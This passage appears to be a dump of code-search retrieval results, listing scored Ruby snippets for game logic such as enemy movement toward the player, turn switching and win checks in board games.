"text": "def move_type_toward_player\n if near_the_player?\n case rand(6)\n when 0 then move_toward_player\n when 1 then move_toward_player\n when 2 then move_toward_player\n when 3 then move_toward_player\n when 4 then move_random\n when 5 then move_forward\n end\n else\n move_random\n end\n end",
"title": ""
},
{
"docid": "bfdd15cc407c60e41fb31e045b500f96",
"score": "0.6634043",
"text": "def move_toward_player(is_player = true)\n # get pixel movement rate\n pix = BlizzABS.pixel\n # is it the player\n if is_player\n # calculate differences in x and y\n dx, dy = @x - $game_player.x, @y - $game_player.y\n else # or only his remembered position\n # calculate differences in x and y\n dx = @AI_data.find_x > 0 ? @x - @AI_data.find_x : 0\n dy = @AI_data.find_y > 0 ? @y - @AI_data.find_y : 0\n end\n # determines where to move according to the x and y differences\n if dx < 0 && dy.abs <= pix*3.0/2 # player is right\n rand(pix*2).times {@force_move.push(6)}\n elsif dx > 0 && dy.abs <= pix*3.0/2 # player is left\n rand(pix*2).times {@force_move.push(4)}\n elsif dx.abs <= pix*3.0/2 && dy < 0 # player is down\n rand(pix*2).times {@force_move.push(2)}\n elsif dx.abs <= pix*3.0/2 && dy > 0 # player is up\n rand(pix*2).times {@force_move.push(8)}\n elsif dx > 0 && dy > 0 # player is up left\n rand(pix*2).times {@force_move.push(7)}\n elsif dx > 0 && dy < 0 # player is down left\n rand(pix*2).times {@force_move.push(1)}\n elsif dx < 0 && dy > 0 # player is up right\n rand(pix*2).times {@force_move.push(9)}\n elsif dx < 0 && dy < 0 # player is down right\n rand(pix*2).times {@force_move.push(3)}\n end\n end",
"title": ""
},
{
"docid": "bfdd15cc407c60e41fb31e045b500f96",
"score": "0.6634043",
"text": "def move_toward_player(is_player = true)\n # get pixel movement rate\n pix = BlizzABS.pixel\n # is it the player\n if is_player\n # calculate differences in x and y\n dx, dy = @x - $game_player.x, @y - $game_player.y\n else # or only his remembered position\n # calculate differences in x and y\n dx = @AI_data.find_x > 0 ? @x - @AI_data.find_x : 0\n dy = @AI_data.find_y > 0 ? @y - @AI_data.find_y : 0\n end\n # determines where to move according to the x and y differences\n if dx < 0 && dy.abs <= pix*3.0/2 # player is right\n rand(pix*2).times {@force_move.push(6)}\n elsif dx > 0 && dy.abs <= pix*3.0/2 # player is left\n rand(pix*2).times {@force_move.push(4)}\n elsif dx.abs <= pix*3.0/2 && dy < 0 # player is down\n rand(pix*2).times {@force_move.push(2)}\n elsif dx.abs <= pix*3.0/2 && dy > 0 # player is up\n rand(pix*2).times {@force_move.push(8)}\n elsif dx > 0 && dy > 0 # player is up left\n rand(pix*2).times {@force_move.push(7)}\n elsif dx > 0 && dy < 0 # player is down left\n rand(pix*2).times {@force_move.push(1)}\n elsif dx < 0 && dy > 0 # player is up right\n rand(pix*2).times {@force_move.push(9)}\n elsif dx < 0 && dy < 0 # player is down right\n rand(pix*2).times {@force_move.push(3)}\n end\n end",
"title": ""
},
{
"docid": "ca8626e664fe483842b7f319c56d41fd",
"score": "0.6632489",
"text": "def player_to_move; self.send(self.next_to_move); end",
"title": ""
},
{
"docid": "bec1ccd9ce9479227a6f69f7f0ec9785",
"score": "0.6631022",
"text": "def victory_at_hand?\n FINISHING_MOVES.each do |position|\n if is_owned_by_computer?(position[0]) && is_owned_by_computer?(position[1]) && is_not_taken?(position[2])\n return position[2]\n end \n end\n false\n end",
"title": ""
},
{
"docid": "92c0c894c5ef8ae7e7d8ca80834ba252",
"score": "0.6629388",
"text": "def player_move(input, player)\n\t\tresult = convert_input(input)\n\t\torigin = result[0]\n\t\tdestination = result[1]\n\t\tpiece = get_cell_occupant(origin.x,origin.y)\n\n\t\tif !piece.nil? && !(piece.side == player) then \n\t\t\treturn false\n\t\telse \n\t\t\treturn move_piece(origin, destination)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "780b148de02a462561d1f754f9f31ce6",
"score": "0.66252714",
"text": "def play\n\t\t\t# This will return the move that the player will take. This will come\n\t\t\t# from a move generator for the AI\n\t\t\t# The ai player will require the ai_type to be passed through\n\t\t\t# TODO: To be changed possibly based off of the main gameplay code. Look\n\t\t\t# \t\tinto the player_lobby code\n\n\t\t\tai_type = Settings.instance.game_mode\n\t\t\tif ai_type == :Connect4\n\t\t\t\t@ai_object = AI_Connect4.new(@game, 2, @current_chip)\n\t\t\telsif ai_type == :TOOT\n\t\t\t\t# make it that otto object\n\t\t\t\t@ai_object = AI_OTTO.new(@game, 1, @current_chip)\n\t\t\t\t@ai_object.player_goal = @goal\n\t\t\tend\n\n\t\t\t#pre\n\t\t\tassert game.is_a?(Game)\n\n\t\t\t# AI will get the next position, will be determined based on the difficulty setting\n\t\t\t@current_column = @ai_object.getBestScore()\n\t\t\tif @ai_object.is_a?(AI_OTTO)\n\t\t\t\t# random value\n\t\t\t\ttemp_num = rand(2)\n\t\t\t\tif temp_num == 0\n\t\t\t\t\tup()\n\t\t\t\tend\n\t\t\tend\n\t\t\tdrop()\n\t\t\tfinished()\n\n\t\t\t#post\n\t\t\tassert @current_column.is_a?(Numeric)\n\t\tend",
"title": ""
},
{
"docid": "2b116ab1b76c23913d38ae6a55a1d915",
"score": "0.66186404",
"text": "def request_player_action\n\tplayer = 1\n\twhile true do\n\t\tpiece = pick_piece player\n\t\trow = get_row piece\n\t\tcolumn = get_column piece\n\t\tpick_movement(player, row, column)\n\t\tplayer == 1? player = 2 : player = 1\n\tend\nend",
"title": ""
},
{
"docid": "30545b4c479b81642db1eba9ab6fa217",
"score": "0.6609522",
"text": "def player; end",
"title": ""
},
{
"docid": "a16b74a98068cef537609fc7c2dd89d3",
"score": "0.6609184",
"text": "def player_won?\n return false unless check_situation?(@board, @player_ordered_list[0], @player_ordered_list[1])\n\n no_move_possible?(@player_ordered_list.rotate)\n end",
"title": ""
},
{
"docid": "4cdfc28b009725cd767a3edeaea0eb4c",
"score": "0.6603478",
"text": "def whoWon\r\n if @board.winCondition(@player1.marker)\r\n @board.printBoard\r\n puts \"\\n Human Player Wins!\\n\"\r\n finish\r\n elsif @board.winCondition(@player2.marker)\r\n @board.printBoard\r\n puts \"\\n Negaman Wins! I have defeated you, human.\\n\"\r\n finish\r\n end\r\n end",
"title": ""
},
{
"docid": "f4aed1282169876c718dcc7828635aa5",
"score": "0.65869904",
"text": "def winning_move\n simulate_move(@player_num)\n end",
"title": ""
},
{
"docid": "75278cc83ac8ac934202a04c6b64366a",
"score": "0.65862435",
"text": "def player_move(gamepiece, new_x, new_y)\n false\n last_moved = self.last_piece\n if last_moved.moved == 0 && last_moved.user_id != self.player_white_id && self.player_white_id == gamepiece.user_id\n !self.is_obstructed?(gamepiece, new_x, new_y)\n elsif last_moved.moved > 0 && last_moved.user_id != gamepiece.user_id\n !self.is_obstructed?(gamepiece, new_x, new_y)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "52859844c3694e6dca406cf4f91d7783",
"score": "0.6577801",
"text": "def advance_player!(player)\n end",
"title": ""
},
{
"docid": "bcae32ca12dd0e2ce9aa171c08b0d982",
"score": "0.656941",
"text": "def move_type_toward_player\n # プレイヤーの座標との差を求める\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n # 差の絶対値を求める\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # 縦横あわせて 20 タイル以上離れている場合\n if abs_sx + abs_sy >= 20\n # ランダム\n move_random\n return\n end\n # 乱数 0~5 で分岐\n case rand(6)\n when 0..3 # プレイヤーに近づく\n move_toward_player\n when 4 # ランダム\n move_random\n when 5 # 一歩前進\n move_forward\n end\n end",
"title": ""
},
{
"docid": "4265d90673ed3462881d11927daba818",
"score": "0.655877",
"text": "def is_player?\n return true\n end",
"title": ""
},
{
"docid": "31459158f4a054fef0dea0f3a4b61891",
"score": "0.6553717",
"text": "def player_move\n loop do\n player_coord = get_coord\n if valid_coord?(player_coord)\n if @board.add_turn(player_coord, @type)\n break\n end\n end\n\n end\n end",
"title": ""
},
{
"docid": "80012685b7478880706ffb8759005d3e",
"score": "0.65482384",
"text": "def advance_player(player)\n end",
"title": ""
},
{
"docid": "30ce65e24ba96b407781fc86ca57d295",
"score": "0.65406454",
"text": "def move_type_escape_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n if sx + sy >= 20\n move_random\n return\n end\n move_away_from_player\n end",
"title": ""
},
{
"docid": "fc76bd29680b71cba159d47801d924e9",
"score": "0.6526149",
"text": "def check_player(gamepiece, current_user, new_x, new_y)\n gamepiece.user_id == current_user.id && self.player_move(gamepiece, new_x, new_y)\n end",
"title": ""
},
{
"docid": "55770340d3ee3d6c79d5f2fa0ec2eb33",
"score": "0.65243083",
"text": "def main\n @actual_player = @player1 if (@actual_player == \"\")\n\n turn\n end",
"title": ""
},
{
"docid": "7b18e6ee25f5b0dfe9c568c8a107836f",
"score": "0.6506097",
"text": "def get_player_moves\n game.players.each do |player|\n #if the game didn't choose the computer's move\n # get the user's move\n if game.set_computer_moves?(player)\n show_computer_move(player)\n else\n set_users_move(player)\n end\n end\n end",
"title": ""
},
{
"docid": "7de1069bf957979dbe5f1af0a53046f0",
"score": "0.64863575",
"text": "def current_player\n\t\t\t@tracker.even? ? @player_O : @player_X\n\t\tend",
"title": ""
},
{
"docid": "beffffb955c8f29766c51bcfbff83f32",
"score": "0.6479765",
"text": "def player_hopeless?\n\t\tplayer_smallest? or (@player.m + absorbable) < next_largest\n\tend",
"title": ""
},
{
"docid": "9501c2d3bf4470b756ad8b8cc0bb52cc",
"score": "0.64726657",
"text": "def turn\n win_check\n @current_player = @current_player == \"x\" ? \"o\" : \"x\"\nend",
"title": ""
},
{
"docid": "86a9c2fbf68c78a589ce9a8132a8be5a",
"score": "0.6465093",
"text": "def next_move(player)\n case @difficulty_level\n when 1 then random_only\n when 2 then block_win_random(player)\n when 3 then win_block_random(player)\n end\n end",
"title": ""
},
{
"docid": "761e27fe09c6bfbb8201286853260749",
"score": "0.6462645",
"text": "def move_type_toward_player\r\n # Get difference in player coordinates\r\n sx = @x - $game_player.x\r\n sy = @y - $game_player.y\r\n # Get absolute value of difference\r\n abs_sx = sx > 0 ? sx : -sx\r\n abs_sy = sy > 0 ? sy : -sy\r\n # If separated by 20 or more tiles matching up horizontally and vertically\r\n if sx + sy >= 20\r\n # Random\r\n move_random\r\n return\r\n end\r\n # Branch by random numbers 0-5\r\n case rand(6)\r\n when 0..3 # Approach player\r\n move_toward_player\r\n when 4 # random\r\n move_random\r\n when 5 # 1 step forward\r\n move_forward\r\n end\r\n end",
"title": ""
},
{
"docid": "2cbd8a86565f315d205ae41457894395",
"score": "0.6453896",
"text": "def turn_of?(player)\n @game.ongoing? && active_player == player\n end",
"title": ""
},
{
"docid": "9e89270d0a481bd9227c3b652cc887a8",
"score": "0.64534247",
"text": "def player_moved\n\t\t\t# Record their move\n\t\t\trecord_last_action\n\t\t\t# Send each player an event notification\n\t\t\tsend_each_player(:player_moved)\n\t\tend",
"title": ""
},
{
"docid": "f91de41b96ed0c53755811be27130a4f",
"score": "0.6452247",
"text": "def move_type_toward_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n if sx + sy >= 20\n move_random\n return\n end\n move_toward_player\n end",
"title": ""
},
{
"docid": "0c3249fe5868b01385146808a4f27086",
"score": "0.6451493",
"text": "def winning_player\n if human_won?\n human\n elsif computer_won?\n computer\n end\n end",
"title": ""
},
{
"docid": "3f5ed172e4b51bd61080a102d49188d3",
"score": "0.64246047",
"text": "def eaten?\n monster_position == player_position\n end",
"title": ""
},
{
"docid": "803163898f743f94f5430877bbe33098",
"score": "0.6424439",
"text": "def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n end",
"title": ""
},
{
"docid": "803163898f743f94f5430877bbe33098",
"score": "0.6424439",
"text": "def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n end",
"title": ""
},
{
"docid": "7b3e500e072642077a3ddc4b6f6ec484",
"score": "0.6416052",
"text": "def move_player(player)\n if $board[$opposite_of[player]] == \"c\" && $board[5] == \"c\" && \n ($board[$right_of[player]] == \"c\" || $board[$left_of[player]] == \"c\")\n return false # Don't move; we are blocking a diagonal computer solution\n end\n return true\n end",
"title": ""
},
{
"docid": "f4281c3b2bf7bc34777b44f9ba67ea42",
"score": "0.64125514",
"text": "def player_dead?\n\t\t@player.m <= LifeForm::TOL\n\tend",
"title": ""
},
{
"docid": "dc7a30349bc66c2140a7968baee955f2",
"score": "0.6412538",
"text": "def swith_player\n # If in ternary\n @current_player = @current_player == @player_x ? @player_o : @player_x\n end",
"title": ""
},
{
"docid": "b4446e7f912012b81188d05aae3c1248",
"score": "0.6405602",
"text": "def player_move\n #> gestion du vélo cross\n jumping = false\n jumping_dist = 1\n if @acro_bike_bunny_hop\n return if (jumping = update_acro_bike(5, front_system_tag)) == false\n jumping_dist = 2 if JumpTags.include?(front_system_tag)\n end\n last_dir = @direction\n case @lastdir4\n when 2\n jumping ? jump(0, jumping_dist) : move_down\n when 4\n turn_left\n jumping ? jump(-jumping_dist, 0) : move_left\n when 6\n turn_right\n jumping ? jump(jumping_dist, 0) : move_right\n when 8\n jumping ? jump(0, -jumping_dist) : move_up\n #else\n #@cant_bump=true\n end\n calibrate_acro_direction(last_dir)\n update_cycling_state if @state == :cycle_stop && moving?\n end",
"title": ""
},
{
"docid": "658ab15256bb55b42d0d9e1e60a8a3ee",
"score": "0.64017254",
"text": "def play_out_move(poss_move, player)\n player.new_spot = poss_move\n return unless player.valid_spot?\n player.move\n attack(player)\n end",
"title": ""
},
{
"docid": "49fd1bd6acdd8911e98a9d2f0e4fc57a",
"score": "0.6397404",
"text": "def player_turn?\n if @cell.where(value: 1).count > @cell.where(value: 2).count\n @current_player = 2\n else\n @current_player = 1\n end\n end",
"title": ""
},
{
"docid": "24e2895ce7fb4516359b533d75886e01",
"score": "0.6386122",
"text": "def alg_player_move(player, move)\n return if @player_input_hdl.is_input_blocked?(\n {:mth =>:alg_player_move, :player => player, :move => move })\n \n if player != @player_on_turn\n @log.debug(\"Invalid move #{move.move_to_str}, player is not on turn\")\n player.algorithm.on_alg_hasmoved_invalid(move, :not_in_turn)\n return \n end\n \n if @board_core.do_the_move(move) == :invalid\n @log.debug(\"Invalid move #{move.move_to_str}\")\n @player_on_turn.algorithm.on_alg_hasmoved_invalid(move, :invalid_move)\n @player_on_turn.algorithm.onalg_have_to_move(@player_on_turn)\n return\n end\n \n @log.debug(\"Player #{player.name}, move #{move.move_to_str}, fen after move #{move.fen_after_move}\")\n \n @last_moved_info = move\n submit_next_event(:gs_has_moved)\n end",
"title": ""
},
{
"docid": "b1578616f47dd56bbedd16e29390e2e3",
"score": "0.63821554",
"text": "def move_type_toward_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n if sx.abs + sy.abs >= 20\n move_random\n else\n case rand(6)\n when 0..3; move_toward_player\n when 4; move_random\n when 5; move_forward\n end\n end\n end",
"title": ""
},
{
"docid": "de6c837ad23c10d8b7d4a17f62e2e8a3",
"score": "0.6378732",
"text": "def play\n playing_player = @players.sample\n # iterates over the number of available cells in the board\n for i in (1..(@board.matrix.length)*(@board.matrix[0].length))\n make_move(playing_player)\n @board.display_state\n\n if has_won?(playing_player) then\n puts \"#{playing_player.name} has won !\"\n return playing_player.name\n end\n\n #this switch change sets the player playing next move\n case playing_player\n when @player1\n playing_player = @player2\n when @player2\n playing_player = @player1\n end\n end\n\n puts \"what a shame! it seems none of you were good enough... maybe next time?\"\n return \"none\"\n end",
"title": ""
},
{
"docid": "f788004edc9c05c478b7c9c8081ae96f",
"score": "0.63733125",
"text": "def indicate_turn(player)\n\n end",
"title": ""
},
{
"docid": "308a1476f0eb1f7cba7c137ea52489c3",
"score": "0.63704526",
"text": "def execute_player_move(player, board, moves)\n begin\n user_picked_correct_move = false\n \n user_move = player.make_move()\n user_move_coord = transform_user_move_into_coordinate(user_move)\n \n if user_move_coord != nil && board.valid_position?(user_move_coord.x, user_move_coord.y)\n moves.each do |origin|\n origin.each do |comp|\n if comp.destination.x === user_move_coord.x && comp.destination.y == user_move_coord.y\n user_picked_correct_move = true\n break\n end\n end\n break if user_picked_correct_move\n end \n end\n end until user_picked_correct_move\n\n puts\n puts \"You picked: (#{user_move_coord.x}, #{user_move_coord.y})\"\n puts\n \n flank_opponent_discs(user_move_coord, moves, board, player.color)\n end",
"title": ""
},
{
"docid": "0c7886fea324d37b7e82bf781f70451f",
"score": "0.6365218",
"text": "def cell_player(cell)\n\t\t\tif cell.value == :WP || cell.value == :WR || cell.value == :WK || cell.value == :WB || cell.value == :WG || cell.value == :WQ\n\t\t\t\tcell.player = :player_white\n\t\t\telsif cell.value == :BP || cell.value == :BR || cell.value == :BK || cell.value == :BB || cell.value == :BG || cell.value == :BQ\n\t\t\t\tcell.player = :player_black\n\t\t\telse\n\t\t\t\tcell.player = :empty\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "32637f8f1c39fd943eba3ee029dfd660",
"score": "0.63584626",
"text": "def cantarget(u, u2) #private\n !(u2.city? || u2.ruin? || u.player == u2.player || \n u.player.friendly.include?(u2.player))\nend",
"title": ""
},
{
"docid": "e027e7e3347fc17a0b3dbd99c9eda29b",
"score": "0.63577527",
"text": "def burn_player_if_needed\n return if user.blank?\n return if match_played.blank?\n\n championship.freeze!(user) if match_played >= (championship.matches.size / 2.0)\n end",
"title": ""
},
{
"docid": "5d3851831a91344e004e7c55352eeb10",
"score": "0.635681",
"text": "def we_got_a_winner\r\n @remaining_players == 1\r\n end",
"title": ""
},
{
"docid": "f9b7f98d49e90c5ad79061bcd638522f",
"score": "0.6352618",
"text": "def updatePlayer\n @earth.spin\t\t\n \t@player.recharge\n\t@player.move\n\t@player.collect_stars(@stars)\n\t\n\t#move each projectile and check for deletions\n\t@projectiles.each do |proj|\n\t\tproj.accelerate\n\t\tproj.move\n\t\t@projectiles.reject! do |proj|\n\t\t proj.is_offscreen\n\t\tend\n\tend\n end",
"title": ""
},
{
"docid": "ee6fe33ce9a6f88cb3e26aadd39c1879",
"score": "0.63506216",
"text": "def current_player\n\t\t\t@turn.odd? ? player1 : player2\n\t\tend",
"title": ""
},
{
"docid": "955fae1dacf45c68cdef5d24f28acf74",
"score": "0.63464206",
"text": "def not_a_draw?\n @player_1_move != @player_2_move\n end",
"title": ""
},
{
"docid": "87903a641ebd09f40c14dcd56511b546",
"score": "0.6345613",
"text": "def player_move(current_player)\n played = false\n until played\n puts 'Player ' + current_player + ': Where would you like to play?'\n player_choice = gets.chomp.upcase\n row = player_choice[0].to_i - 1\n col = COL_NUM[player_choice[1]]\n if validate_position(row, col)\n @board[row][col] = current_player\n played = true\n end\n end\n end",
"title": ""
},
{
"docid": "0d7ed32e8b548663de4fb5509a3737eb",
"score": "0.6344144",
"text": "def current_player\n # BASED ON THE #turn_count METHOD, ASSUMING \"X\" GOES FIRST, DETERMINE WHOSE TURN IT IS\n # to use binding.pry, type in \"learn\" in the terminal and it will come up. Type in \"board\" for example\n if turn_count.even?\n \"X\"\n else\n \"O\"\n end\n end",
"title": ""
},
{
"docid": "6daa66655b07718ae7dedb4c32e8ea56",
"score": "0.63428587",
"text": "def check_for_win(player)\n $winning_moves.each do |n|\n @winner = player if n.all? { |board_space| @grid.board[board_space] == player.sym }\n end\n end",
"title": ""
},
{
"docid": "dda2971438628add259d162af41db6c4",
"score": "0.63420266",
"text": "def onalg_player_has_moved(player,color, start_x, start_y, end_x, end_y)\r\n if player != @alg_player\r\n start_col = BoardInfoItem.column_to_s(start_x).upcase\r\n start_rank = start_y + 1\r\n fin_col = BoardInfoItem.column_to_s(end_x).upcase\r\n fin_rank = end_y + 1\r\n @huo_alg.set_human_move(start_col, start_rank, fin_col, fin_rank)\r\n end\r\n end",
"title": ""
},
{
"docid": "3d13f752d65eb25c3f0aea0db53275e3",
"score": "0.63373244",
"text": "def whose_turn\n return player1 if moves.empty?\n moves.last.player == player1 ? player2 : player1\n end",
"title": ""
},
{
"docid": "ff5ff4218ce146440e435eabba56f06b",
"score": "0.6337262",
"text": "def current_player_to_fire\n cptrd = current_player_to_recieve_damage\n if cptrd.blank?\n return nil\n elsif cptrd.id == player_1_id\n player_2\n else\n player_1\n end\n end",
"title": ""
},
{
"docid": "a2e882708dbf3253d8ebda829017c69e",
"score": "0.63367736",
"text": "def go\n loop do # Boucle du jeu opérant tant qu'il n'y aura pas un vainqueur ou un match nul\n @grid.play(@player1) # Tour du premier joueur\n @grid.victory(@player1, @player2) # Verification de la presence d'un gagnant\n @grid.play(@player2) # Tour du deuxieme joueur\n @grid.victory(@player1, @player2) # Verification de la presence d'un gagnant\n end\n end",
"title": ""
},
{
"docid": "d0a471a0e7a052d1d72723c4609af3d4",
"score": "0.6334199",
"text": "def play\n human_move = human_select_move\n computer_move = computer_select_move\n # binding.pry\n puts get_winner(human_move, computer_move)\n end",
"title": ""
},
{
"docid": "7fe7c25c6576c242ff73b198e09031d2",
"score": "0.63226104",
"text": "def winner\n for player in @players\n return player if player[:position] == target\n end\n return false\n # if current_player[:position] >= @target\n # return current_player\n # else\n # return false\n # end \n end",
"title": ""
},
{
"docid": "b568ab1b6128eceeebf686cb174792dc",
"score": "0.6320948",
"text": "def player_moves(player, move)\n raise \"player moved in stopped game\" if finished?\n raise \"player moved when not its turn\" if player_in_turn != player\n \n cont = other_player.notify_move unless @players[0] == @players[1]\n @observers.each { |obs| obs.notify_move(move) }\n\n do_board_move(move)\n switch_side(cont)\n end",
"title": ""
},
{
"docid": "5fa7325fd0d78db83d1936fa65e4a1d1",
"score": "0.6315557",
"text": "def other_player(player)\n 3 - player\n end",
"title": ""
},
{
"docid": "339b2f97d8d907e59ca1ba11437d2333",
"score": "0.6315182",
"text": "def play\n \t #p \"Game started with #{@players} --------\"\n players_starting_positions = @players.map{0} #empty array basedon user \n starting_player = rand(@players.length) # 0,1,2\n winner = move(players_starting_positions, starting_player)\n puts \"Game started between these #{@players} players ----and---- #{@players[winner]} is winner!\"\n return @players[winner] \n end",
"title": ""
},
{
"docid": "3a2f4f49f6b5d9b26add72476e2395fa",
"score": "0.6311993",
"text": "def move_peg(move, player)\n # Player move\n case player\n when @player_one\n if @board[(move.to_i - 1)] != 'X' && @board[(move.to_i - 1)] != 'O'\n @moves += 1\n @board[(move.to_i - 1)] = 'X'\n @game_over = check_win?\n @turn = @player_two\n else\n move_peg(@main.player_in('Invalid Choice'), @turn)\n end\n system('clear')\n when @player_two\n if @board[(move.to_i - 1)] != 'X' && @board[(move.to_i - 1)] != 'O'\n @moves += 1\n @board[(move.to_i - 1)] = 'O'\n @game_over = check_win?\n @turn = @player_one\n else\n move_peg(@main.player_in('Invalid Choice'), @turn)\n end\n system('clear')\n end\n\n isgamestill\n end",
"title": ""
},
{
"docid": "ed5594a8109f2093396535f397aad938",
"score": "0.6309834",
"text": "def hasWon\n\n status_Player == :win\n end",
"title": ""
},
{
"docid": "aed21181ec46ca9ff1f20d8cdfb85d16",
"score": "0.63031304",
"text": "def move_toward_player\n # get pixel movement rate\n pix = BlizzABS.pixel\n # calculates differences in x and y\n dx, dy = @x - ($game_player.x+pix/2)/pix, @y - ($game_player.y+pix*3/4)/pix\n # determines where to move according to the x and y differences\n if dx > 0 && dy > 0 # player is up left\n move_left if !move_upper_left && !move_up\n elsif dx > 0 && dy < 0 # player is down left\n move_left if !move_lower_left && !move_down\n elsif dx < 0 && dy > 0 # player is up right\n move_right if !move_upper_right && !move_up\n elsif dx < 0 && dy < 0 # player is down right\n move_right if !move_lower_right && !move_down\n elsif dx < 0 && dy == 0 # player is right\n move_right\n elsif dx > 0 && dy == 0 # player is left\n move_left\n elsif dx == 0 && dy < 0 # player is down\n move_down\n elsif dx == 0 && dy > 0 # player is up\n move_up\n end\n end",
"title": ""
},
{
"docid": "aed21181ec46ca9ff1f20d8cdfb85d16",
"score": "0.63031304",
"text": "def move_toward_player\n # get pixel movement rate\n pix = BlizzABS.pixel\n # calculates differences in x and y\n dx, dy = @x - ($game_player.x+pix/2)/pix, @y - ($game_player.y+pix*3/4)/pix\n # determines where to move according to the x and y differences\n if dx > 0 && dy > 0 # player is up left\n move_left if !move_upper_left && !move_up\n elsif dx > 0 && dy < 0 # player is down left\n move_left if !move_lower_left && !move_down\n elsif dx < 0 && dy > 0 # player is up right\n move_right if !move_upper_right && !move_up\n elsif dx < 0 && dy < 0 # player is down right\n move_right if !move_lower_right && !move_down\n elsif dx < 0 && dy == 0 # player is right\n move_right\n elsif dx > 0 && dy == 0 # player is left\n move_left\n elsif dx == 0 && dy < 0 # player is down\n move_down\n elsif dx == 0 && dy > 0 # player is up\n move_up\n end\n end",
"title": ""
},
{
"docid": "bcb32b9cac76f3953017a1d328787e78",
"score": "0.62995964",
"text": "def to_be_kept?\n inside_frame? and !catched?(@player)\n end",
"title": ""
},
{
"docid": "a4cfa2f79cbdaa2b2f3ed4d2614da297",
"score": "0.62949",
"text": "def move_up(turn_enabled = true)\n # call superclass method and store result\n result = super\n # update buffer if self is controlled by player\n BlizzABS.player.update_buffer(8) if BlizzABS.player.player == self && result\n # return result\n return result\n end",
"title": ""
},
{
"docid": "a4cfa2f79cbdaa2b2f3ed4d2614da297",
"score": "0.62949",
"text": "def move_up(turn_enabled = true)\n # call superclass method and store result\n result = super\n # update buffer if self is controlled by player\n BlizzABS.player.update_buffer(8) if BlizzABS.player.player == self && result\n # return result\n return result\n end",
"title": ""
},
{
"docid": "ee5b9629632d4807a7ce9b5388ed53b6",
"score": "0.6285435",
"text": "def play_turn\n value, target = current_player.make_request(other_players)\n if target.has_value?(value)\n current_player.take(target.give_up(value))\n else\n current_player.go_fish(@deck)\n next_player!\n end \n end",
"title": ""
},
{
"docid": "2cffb891fb40b2e4e66c64718e91d885",
"score": "0.6282066",
"text": "def game_engine\n loop do\n turn\n score_hand(corrected_player)\n break if bust?(corrected_player)\n self.player_turn = 'dealer' if stayed?(participant) \n break if stayed?(participant) && stayed?(dealer) #winning condition\n end\n puts \"someone won\"\n #announce the player that wins\n end",
"title": ""
},
{
"docid": "2b66574522c83dc525d8874df0f0c288",
"score": "0.6281871",
"text": "def switch_player\n if @player == PIECE[:x]\n @player = PIECE[:o]\n else\n @player = PIECE[:x]\n end\n end",
"title": ""
},
{
"docid": "99d89275b8f641a331d88cfa08a966b1",
"score": "0.627746",
"text": "def move_toward_player\n # Determine Correct Distance to Target for Looping Maps\n sx, sy = character_distance($game_player)\n # If coordinates are equal\n if sx == 0 and sy == 0\n return\n end\n # Get absolute value of difference\n abs_sx = sx.abs\n abs_sy = sy.abs\n # If horizontal and vertical distances are equal\n if abs_sx == abs_sy\n # Increase one of them randomly by 1\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n # If horizontal distance is longer\n if abs_sx > abs_sy\n # Move towards player, prioritize left and right directions\n sx > 0 ? move_left : move_right\n if not moving? and sy != 0\n sy > 0 ? move_up : move_down\n end\n # If vertical distance is longer\n else\n # Move towards player, prioritize up and down directions\n sy > 0 ? move_up : move_down\n if not moving? and sx != 0\n sx > 0 ? move_left : move_right\n end\n end\n end",
"title": ""
},
{
"docid": "681d49d25559b848885c7ce26a396cfd",
"score": "0.6276445",
"text": "def play\n \t #p \"Game started with #{@players} --------\"\n players_starting_positions = @players.map{0} #empty array basedon user \n starting_player = rand(@players.length) # 0,1,2\n winner = move(players_starting_positions, starting_player)\n puts \"Game started between these #{@players} players ----and---- #{@players[winner]} is winner!\"\n end",
"title": ""
},
{
"docid": "2a7d798e633b7424e8fbe34df27f0716",
"score": "0.62660116",
"text": "def calc_player\n player.x += player.movement_speed * player.movement_direction\n player.movement_direction *= -1 if !geometry.inside_rect? player, scene_state.movement_outer_rect\n return if !inputs.mouse.click\n return if !geometry.inside_rect? player, movement_inner_rect\n player.movement_direction = -player.movement_direction\n end",
"title": ""
},
{
"docid": "7bc278f1af0aa1191ad742de1288e029",
"score": "0.6264861",
"text": "def player_move\r\n move = player_input-1\r\n if cells[move] = \" \"\r\n cells[move] = @current_player.symbol\r\n else\r\n puts \" please choose other number, this one taken\"\r\n self.player_move\r\n end\r\n @current_player.taken_cells << move\r\n end",
"title": ""
},
{
"docid": "3fe2a1a0a64f39bcde09cee914d39701",
"score": "0.6262894",
"text": "def player?(current_user)\n black_player == current_user or white_player == current_user\n end",
"title": ""
},
{
"docid": "f910aeb737449ce7a21d38caf3b1ce01",
"score": "0.62610936",
"text": "def winning_player\n return :player_1 if who_won == 'x'\n :player_2\n end",
"title": ""
},
{
"docid": "726f81e333fb9891b5c815644899fc30",
"score": "0.6260533",
"text": "def white\n player1\n end",
"title": ""
},
{
"docid": "8cc530d769b0d029770cd92fef9eb90b",
"score": "0.6257483",
